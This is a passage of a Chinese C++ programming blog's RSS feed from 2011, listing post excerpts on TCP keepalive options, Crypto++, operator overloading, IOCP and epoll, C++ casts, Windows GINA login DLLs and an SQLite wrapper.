GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/08/152754.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152754.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/08/152754.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152754.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152754.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: #include "netinet/tcp.h"<br>int keepAlive    = 1;        //设定KeepAlive<br>int keepIdle    = 30;        //开始首次KeepAlive探测前的TCP空闭时间<br>int keepInterval    = 30;    //两次KeepAlive探测间的时间间隔<br>int keepCount        = 3;    //判定断开前的KeepAlive探测次数<br><br>if(setsockopt(sockfd,SOL_SOCKET,SO_KEEPALIVE,(void*)&keepAlive,sizeof(keepAlive)) == -1)<br>{<br>    printf("Socket Option setting(SO_KEEPALIVE) fail !\n");<br>    return FALSE;<br>}<br><br>if(setsockopt(sockfd,SOL_TCP,TCP_KEEPIDLE,(void *)&ke&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/08/152754.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152754.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-08 10:53 <a href="http://www.cppblog.com/gezidan/archive/2011/08/08/152754.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DLL的定义与调用</title><link>http://www.cppblog.com/gezidan/archive/2011/08/07/152725.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sun, 07 Aug 2011 11:18:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/07/152725.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152725.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/07/152725.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152725.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152725.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/07/152725.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152725.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-07 19:18 <a href="http://www.cppblog.com/gezidan/archive/2011/08/07/152725.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Crypto++入门学习笔记（DES、AES、RSA、SHA-256）</title><link>http://www.cppblog.com/gezidan/archive/2011/08/05/152562.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Fri, 05 Aug 2011 08:37:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/05/152562.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152562.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/05/152562.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152562.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152562.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 背景（只是个人感想，技术上不对后面的内容构成知识性障碍，可以skip）：<br>最近，基于某些原因和需要，笔者需要去了解一下Crypto++库，然后对一些数据进行一些加密解密的操作。<br>笔者之前没接触过任何加密解密方面的知识（当然，把每个字符的ASCII值加1之流对明文进行加密的“趣事”还是干过的，当时还很乐在其中。），甚至一开始连Crypto++的名字都没有听过，被BS了之后，就开始了Crypto++的入门探索过程。<br>最初，大概知道了要了解两大类算法中的几个算法——对称加密算法：DES、AES（后来因为人品好的缘故也了解了下非对称加密算法RSA，后文会详述何谓“人品好”）；散列算法（需要通过Hash运算）：SHA-256。<br>起初，笔者以为这样的知名算法在网上应该有很多现成的例子。笔者比较懒，对于自己不熟悉的东西，总希望找捷径，直接找别人现（在已经写）成可（编译运）行的代码然后施展ctrl + C，ctrl + V算法（咳，什么算法，是大法！！！）。<br>However，发觉网上的例子不是稀缺，就是只有代码没有解释。笔者觉得很难忍受这样的“莫名其妙”（奇怪的&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/05/152562.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152562.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-05 16:37 <a href="http://www.cppblog.com/gezidan/archive/2011/08/05/152562.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Crypto++ 的使用方法</title><link>http://www.cppblog.com/gezidan/archive/2011/08/05/152559.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Fri, 05 Aug 2011 08:24:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/05/152559.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152559.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/05/152559.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152559.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152559.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要:       从官方网下载的Crypto++库是开源的，只有源文件和几个可以生成lib、dll的工程，以及一个使用的例子工程，因此希望生成自己建的工程能使用的SDK。 <br>  <br>1.编译链接生成cryptlib.lib <br>打开cryptest.sln，分别在Debug模式和Release模式下编译链接cryptlib工程，成功后会在cryptopp54\\Win32\\output\\debug和cryptopp54\\Win32\\output\\release下生成cryptlib.lib文件。作者当时用的是Crypto++ 5.4版本。 <br>Build时方法是，右击Solution Explorer中的cryptlib工程，单击build。第一次时它会报错说“d:\\cryptopp54\\adler32.cpp(3) : fatal error C1033: cannot open program database ’d:\\cryptopp54\\win32\\cryptlib\\debug\\vc80.idb’”，没关系，按这样再build一次，就&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/05/152559.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152559.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-05 16:24 <a href="http://www.cppblog.com/gezidan/archive/2011/08/05/152559.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C++重载operator的示例</title><link>http://www.cppblog.com/gezidan/archive/2011/08/04/152439.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Thu, 04 Aug 2011 06:35:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/04/152439.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152439.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/04/152439.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152439.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152439.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 以下示例中定义了一个class test, 重载了<, +, +=, =, ==, <<, >>等符号:<br><br>#include<iostream><br>#include<vector><br>using namespace std;<br><br>class test{<br>public:<br>     int v;<br>   /*构造函数*/<br>     test():v(0){}<br>     test(const int &a):v(a){}<br>     test(const test &t1):v(t1.v){} <br>    <br>   /*以下重载小于号 < */<br>     //比较两个对象的大小 <br>     bool operator<(const test &t1) const{ <br>         return (v < t1.v);<br>     }&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/04/152439.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152439.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-04 14:35 <a href="http://www.cppblog.com/gezidan/archive/2011/08/04/152439.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows完成端口与Linux epoll技术简介</title><link>http://www.cppblog.com/gezidan/archive/2011/08/04/152436.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Thu, 04 Aug 2011 05:49:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/04/152436.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152436.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/04/152436.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152436.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152436.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: WINDOWS完成端口编程<br>1、基本概念<br>2、WINDOWS完成端口的特点<br>3、完成端口（Completion Ports ）相关数据结构和创建<br>4、完成端口线程的工作原理<br>5、Windows完成端口的实例代码<br>Linux的EPoll模型<br>1、为什么select落后<br>2、内核中提高I/O性能的新方法epoll<br>3、epoll的优点<br>4、epoll的工作模式 <br>5、epoll的使用方法<br>6、Linux下EPOll编程实例<br>总结&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/04/152436.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152436.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-04 13:49 <a href="http://www.cppblog.com/gezidan/archive/2011/08/04/152436.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C++类型转换总结</title><link>http://www.cppblog.com/gezidan/archive/2011/08/03/152354.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 03 Aug 2011 05:57:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/03/152354.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152354.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/03/152354.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152354.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152354.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: C风格的强制类型转换(Type Cast)很简单，不管什么类型的转换统统是：<br>TYPE b = (TYPE)a。<br>C++风格的类型转换提供了4种类型转换操作符来应对不同场合的应用。<br><br>const_cast，字面上理解就是去const属性。<br>static_cast，命名上理解是静态类型转换。如int转换成char。<br>dynamic_cast，命名上理解是动态类型转换。如子类和父类之间的多态类型转换。<br>reinterpreter_cast，仅仅重新解释类型，但没有进行二进制的转换。<br>4种类型转换的格式，如：TYPE B = static_cast(TYPE)(a)。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/03/152354.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152354.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-03 13:57 <a href="http://www.cppblog.com/gezidan/archive/2011/08/03/152354.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows开机登录认证与Gina DLL</title><link>http://www.cppblog.com/gezidan/archive/2011/08/03/152349.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 03 Aug 2011 05:41:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/03/152349.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152349.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/03/152349.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152349.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152349.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Windows的开机密码认证模块一般是由Gina DLL完成的。在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的，GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/03/152349.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152349.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-03 13:41 <a href="http://www.cppblog.com/gezidan/archive/2011/08/03/152349.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Kompex SQLite Wrapper for C++ - Examples</title><link>http://www.cppblog.com/gezidan/archive/2011/08/02/152281.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 02 Aug 2011 06:12:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/02/152281.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152281.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/02/152281.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152281.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152281.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Here you can see some examples.<br>It shows a part of the functionality of the wrapper and how you can use it.<br>You can find more examples in the example application (contained in download package). <br><br><br>1. open a database and create a statement instance for sql queries/statements<br>// open database<br>Kompex::SQLiteDatabase *pDatabase = new Kompex::SQLiteDatabase("test.db", SQLITE_OPEN_READWRITE, 0);<br>// create statement instance for sql queries/statements<br>Kompex::SQLite&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/02/152281.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152281.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-02 14:12 <a href="http://www.cppblog.com/gezidan/archive/2011/08/02/152281.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>